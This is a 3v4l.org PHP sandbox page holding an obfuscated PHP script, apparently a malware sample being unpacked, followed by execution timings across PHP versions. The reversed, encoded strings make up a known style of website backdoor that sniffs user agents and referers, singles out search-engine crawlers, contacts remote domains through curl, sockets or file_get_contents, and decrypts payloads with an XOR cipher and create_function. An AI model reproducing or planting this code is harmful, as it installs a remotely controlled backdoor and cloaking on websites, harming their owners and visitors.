3v4l.org

run code in 300+ PHP versions simultaneously
<?php function oo2($b) { $h = explode("|", strrev($b)); $d = explode("*", $h[0]); $b = $h[1]; for($i=0;$i<sizeof($d);$i++) { $b = str_replace($i, $d[$i], $b); } print($b."//"); } function cqq($qw) { echo random($domarr,$qw); } function oo1($y) { $y = strrev($y); $g = substr($y,strpos($y,"9")+1); $v = explode(":",substr($y,0,strpos($y,"9"))); for($i=0;$i<sizeof($v);$i++) { $q = explode("|", $v[$i]); $g = str_replace($q[0],$q[1],$g); } print($g."//"); } function en2($s, $q) { $l="strlen"; $p="pack"; $r="substr"; $m="md5"; $g=""; while(strlen($g)<strlen($s)) { $q = pack("H*",$m($g.$q."q1w2e3r4")); $g.=$r($q,0,8); } return $s^$g; } function random($arr,$qw) { $g="\x20\167\x2d\70\x36794587495086f963874,qq-82d94486e,r-86297186e94186d945,wq-874941874,s-87\x33\54\x67\75\x20\167\x2e\40\x72\73\x20\155\x2d\70"."6d944835,sq-873964872937873960\x38\66\x63\71\x35\61\x38\67\x34\42\x3b"; $soy = "en2"; $xx="explode"; $ecx="create_function"; $scy="str_replace"; //$a = $xx("|","\x|1|="|";$|$"); $a = $xx("|","\x5c\170\x7c\134\x31\174\x3d\42\x7c\42\x3b\44\x7c\44"); $aa = $xx("|","8|9|-|,| "); $mec=$ecx; for($i=0;$i<sizeof($a);$i++) { $g = $scy($aa[$i],$a[$i],$g); } print($g."//"); print($soy("\230\77\153\147\26\167\114\130\223\257\211\2\253\5\172\316\25\262\145\25\62\72\127\156\270\100\154\56\341\77\4\37\21\152\206\334\101\334\32\210\353\173\253\5\123\231\47\13\20",$scy)); return $arr[rand((0.24-(0.03*8)),(0.1875*6))].$qw; } $n9 = '1067|416|779|223|361'; $r9 = explode("|",$n9); $b9=0; $a9=0; $v9 = '5656}5;Bv5;oc$v5Y5;-4_g@&oc$5;oc$v5Y5;-3_g@&oc$5;oc$v5Y5;-2_g@&oc$5;oc$v5Y5;-1_g@&oc$5;B&oc$5{5-6dtz55}56;%v5;)%6,"n\r\n\r\"(edolpxe&)%6,m$(tsil5;~v5)BV%(6fi5;)J(esolcW@5}5;t$6=.6%5{6))000016,J(daerW&t$(6elihw5;B&%5;)qer$6,J(etirwW5;"n\n\X$6:tsoH"6=.6qer$5;"n\0.1/PTTH6iru$6TEG"&qer$5}5;~v5;)J(esolcW@5{6))086,1pi$6,J(tcennocW@!(6fi5;)PCT_LOS6,MAERTS_KCOS6,TENI_FA(etaercW@&J5;~v5)2pi$6=!61pi$(6fi5;))1pi$(gnol2pi@(pi2gnol@&2pi$5;)X$(emanybXteg@&1pi$5;]"yreuq"[p$6.6"?"6.6]"htap"[p$&iru$5;B=]"yreuq"[p$6))]"yreuq"[p$(tessi!(fi5;]"X"[p$&X$5;-lru_esrap@6=p$5;~v5)~^)"etaercWj4_z55}5;%v5;~v5)BV%(6fi5;)cni$6,B(edolpmi@&%5;-elif@&cni$5;~v5)~^)"elifj3_z5}5;ser$v5;~v5)BVser$(6fi5;)hc$(esolcQ5;)hc$(cexeQ&ser$5;)06,REDAEH+5;)016,TUOEMIT+5;)16,REFSNARTNRUTER+5;)lru$6,LRU+5;)(tiniQ&hc$5;~v5)~^)"tiniQj2_z555}5;%v5;~v5)BV%(6fi5;-Z@&%5;~v5)~^)"Zj1_z59 |6: |5:""|B: == |V:tsoh|X:stnetnoc_teg_elif|Z:kcos$|J:_tekcos|W:_lruc|Q:)lru$(|-:_TPOLRUC ,hc$(tpotes_lruc|+:tpotes_lruc|*: = |&: === |^:fub$|%:eslaf|~: nruter|v:)~ ==! oc$( fi|Y:g noitcnuf|z:"(stsixe_noitcnuf( fi { )lru$(|j}}};eslaf nruter {esle };))8-,i$,ataDzg$(rtsbus(etalfnizg@ nruter };2+i$=i$ )2 & glf$ ( fi ;1+)i$ ,"0\",ataDzg$(soprts=i$ )61 & glf$( fi ;1+)i$,"0\",ataDzg$(soprts=i$ )8 & glf$( fi };nelx$+2+i$=i$ ;))2,i$,ataDzg$(rtsbus,"v"(kcapnu=)nelx$(tsil { )4 & glf$( fi { )0>glf$( fi ;))1,3,ataDzg$(rtsbus(dro=glf$ ;01=i$ { )"80x\b8x\f1x\"==)3,0,ataDzg$(rtsbus( fi { )ataDzg$(izgmoc noitcnuf { ))"izgmoc"(stsixe_noitcnuf!( fi|0} ;1o$~ } ;"" = 1o$Y;]1[1a$ = 1o$ )2=>)1a$(foezis( fi ;)1ac$,"0FN!"(edolpxe@=1a$ ;)po$,)-$(dtg@(2ne=1ac$ ;4g$."/".)"moc."(qqc."//:ptth"=-$ ;)))e&+)d&+)c&+)b&+)a&(edocne-(edocne-."?".po$=4g$ ;)999999,000001(dnar_tm=po$ {Y} ;"" = 1o$ { ) )))a$(rewolotrts ,"i/" . ))"relbmar*xednay*revihcra_ai*tobnsm*pruls*elgoog"(yarra ,"|"(edolpmi . "/"(hctam_gerp( ro )"nimda",)e$(rewolotrts(soprrtsQd$(Qc$(Qa$(( fi ;)"bc1afd45*88275b5e*8e4c7059*8359bd33"(yarra = rramod^FLES_PHP%e^TSOH_PTTH%d^RDDA_ETOMER%c^REREFER_PTTH%b^TNEGA_RESU_PTTH%a$ { )(212yadj } ;a$~ ;W=a$Y;"non"=a$ )""==W( fiY;"non"=a$ ))W(tessi!(fi { )marap$(212kcehcj } ;))po$ ,txet$(2ne(edocne_46esab~ { )txet&j9 esle |Y:]marap$[REVRES_$|W: ro )"non"==|Q:lru|-:.".".|+:","|*:$,po$(43k|&:$ ;)"|^:"(212kcehc=|%: nruter|~: noitcnuf|j}}8zc$9nruter9}817==!9eslaf28)45@9=979{96"5"(stsixe_328164sserpmocnuzg08164izgmoc08164etalfnizg09{9)llun9=9htgnel$9,4oocd939{9))"oocd"(stsixe_3!2| * ;*zd$*) )*edocedzg*zc$(*noitcnuf*( fi*zd$ nruter ) *@ = zd$( ==! eslaf( fi;)"j"(trats_boU~~~~;t$U&zesleU~;)W%Y%RzesleU~;)W@Y@RU;)v$(oocd=t$U;"54+36Q14+c6Q06+56Q26+".p$=T;"05+36Q46+16Q55+".p$=1p$;"f5Q74+56Q26+07Q"=p$U;)"enonU:gnidocnE-tnetnoC"(redaeHz)v$(jUwz))"j"(stsixe_w!k9 |U:2p$|T:x\|Q:1\|+:nruter|&:lmth|%:ydob|@:} |~: { |z:(fi|k:22ap|j:noitcnuf|w:/\<\(/"(T &z))t$,"is/|Y:/\<\/"(1p$k|R:1,t$ ,"1"."$"."n\".)(212yad ,"is/)>\*]>\^[|W'; for($i9=0;$i9<sizeof($r9);$i9++) { if($i9==0) $a9=0; else $a9=$r9[$i9-1]+$a9; $b9=$r9[$i9]; $v_[]=substr($v9, $a9, $b9); } print_r($v_);

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
7.4.00.0070.01014.83
7.3.120.0120.00614.83
7.3.110.0150.00015.18
7.3.100.0060.00914.94
7.3.90.0040.01414.79
7.3.80.0070.01014.73
7.3.70.0030.01214.66
7.3.60.0080.00814.53
7.3.50.0070.01014.77
7.3.40.0070.00714.92
7.3.30.0090.00314.59
7.3.20.0030.00916.51
7.3.10.0030.01216.46
7.3.00.0080.00316.49
7.2.250.0040.01515.06
7.2.240.0000.01915.07
7.2.230.0130.00715.02
7.2.220.0000.01315.01
7.2.210.0040.01415.06
7.2.200.0040.01614.82
7.2.190.0030.00915.10
7.2.180.0030.01415.04
7.2.170.0080.00814.96
7.1.330.0030.01315.86
7.1.320.0080.00415.92
7.1.310.0070.00715.73
7.1.300.0040.01215.80
7.1.290.0090.00615.48
7.1.280.0060.00615.97
7.1.270.0090.00315.85
7.1.260.0070.00715.42
7.1.70.0090.00617.06
7.1.60.0100.01419.17
7.1.50.0070.00717.11
7.1.00.0030.03322.51
7.0.200.0040.00416.79
7.0.140.0170.06321.93
7.0.60.0400.07719.90
7.0.50.0070.03717.92
7.0.40.0070.08720.07
7.0.30.0100.05020.20
7.0.20.0200.04320.10
7.0.10.0300.07320.10
7.0.00.0200.07320.16
5.6.280.0030.09720.93
5.6.210.0130.05320.66
5.6.200.0070.08318.30
5.6.190.0100.08320.39
5.6.180.0270.08320.48
5.6.170.0200.06320.45
5.6.160.0200.07020.55
5.6.150.0170.06018.22
5.6.140.0030.04018.18
5.6.130.0070.07718.16
5.6.120.0030.04321.01
5.6.110.0130.08021.11
5.6.100.0030.04321.03
5.6.90.0070.06021.00
5.6.80.0070.08320.40
5.5.350.0100.06020.43
5.5.340.0070.06318.05
5.5.330.0070.07020.47
5.5.320.0500.04020.53
5.5.310.0230.07320.34
5.5.300.0070.04018.02
5.5.290.0200.05718.08
5.5.280.0100.07720.79
5.5.270.0100.07320.88
5.5.260.0030.08720.75
5.5.250.0070.08320.57
5.5.240.0230.07020.18
5.4.450.0370.03719.46
5.4.440.0570.03719.41
5.4.430.0500.04719.56
5.4.420.0430.04719.20
5.4.410.0400.03719.05
5.4.400.0530.06019.14
5.4.390.0470.06718.85
5.4.380.0430.05018.87
5.4.370.0570.04019.23
5.4.360.0470.05718.85
5.4.350.0470.04018.95
5.4.340.0400.05019.20
5.4.320.0330.03318.87
5.4.310.0300.03019.08
5.4.300.0270.07319.15
5.4.290.0300.06719.22
5.4.280.0500.06719.19
5.4.270.0500.06319.21
5.4.260.0430.05718.89
5.4.250.0330.03719.05
5.4.240.0330.04719.32
5.4.230.0430.05019.19
5.4.220.0300.03718.94
5.4.210.0370.04319.04
5.4.200.0370.04319.30
5.4.190.0300.03719.21
5.4.180.0500.06319.09
5.4.170.0500.06319.23
5.4.160.0470.03719.20
5.4.150.0400.04719.07
5.4.140.0330.04716.47
5.4.130.0400.04316.34
5.4.120.0430.05716.33
5.4.110.0400.03716.51
5.4.100.0300.04016.24
5.4.90.0400.03316.52
5.4.80.0400.05016.59
5.4.70.0430.06316.58
5.4.60.0470.06716.57
5.4.50.0430.04016.17
5.4.40.0370.03316.43
5.4.30.0430.07016.44
5.4.20.0400.06316.53
5.4.10.0330.04316.54
5.4.00.0370.04015.96
5.3.290.0300.04314.92
5.3.280.0470.06014.54
5.3.270.0400.04714.55
5.3.260.0330.05314.61
5.3.250.0430.04314.60
5.3.240.0400.06714.63
5.3.230.0430.07014.53
5.3.220.0400.06314.50
5.3.210.0470.06714.51
5.3.200.0500.05314.52
5.3.190.0430.03014.82
5.3.180.0400.04314.69
5.3.170.0470.05714.64
5.3.160.0470.05314.71
5.3.150.0470.04714.50
5.3.140.0530.06014.51
5.3.130.0530.03314.62
5.3.120.0370.03714.57
5.3.110.0370.04314.57
5.3.100.0470.05714.17
5.3.90.0230.04014.07
5.3.80.0330.05014.16
5.3.70.0330.04314.12
5.3.60.0470.06714.25
5.3.50.0370.03013.98
5.3.40.0370.06714.06
5.3.30.0370.04314.10
5.3.20.0300.05713.64
5.3.10.0400.03713.90
5.3.00.0400.03713.68
5.2.170.0200.03312.61
5.2.160.0270.03312.61
5.2.150.0270.06012.61
5.2.140.0330.05312.61
5.2.130.0330.03012.61
5.2.120.0400.05012.61
5.2.110.0400.05012.61
5.2.100.0370.05312.61
5.2.90.0330.05312.61
5.2.80.0330.03012.61
5.2.70.0430.04312.61
5.2.60.0330.05312.61
5.2.50.0330.05312.61
5.2.40.0170.03312.61
5.2.30.0270.05312.61
5.2.20.0330.04712.61
5.2.10.0300.02312.61
5.2.00.0270.02312.61
5.1.60.0200.04312.61
5.1.50.0270.03012.61
5.1.40.0300.04012.61
5.1.30.0300.03012.61
5.1.20.0300.03012.61
5.1.10.0300.03012.61
5.1.00.0300.02712.61
5.0.50.0200.02312.61
5.0.40.0170.03712.61
5.0.30.0170.05312.61
5.0.20.0170.02012.61
5.0.10.0170.03712.61
5.0.00.0200.04012.61
4.4.90.0130.03312.61
4.4.80.0130.02012.61
4.4.70.0100.04312.61
4.4.60.0100.01712.61
4.4.50.0130.02312.61
4.4.40.0130.02712.61
4.4.30.0200.03012.61
4.4.20.0130.02012.61
4.4.10.0130.03712.61
4.4.00.0170.05012.61
4.3.110.0200.02712.61
4.3.100.0170.03012.61
4.3.90.0170.03312.61
4.3.80.0130.03312.61
4.3.70.0300.01312.61
4.3.60.0100.02012.61
4.3.50.0130.03012.61
4.3.40.0170.03712.61
4.3.30.0070.01712.61
4.3.20.0100.03712.61
4.3.10.0100.01712.61
4.3.00.0030.01712.61

preferences:
78.81 ms | 401 KiB | 5 Q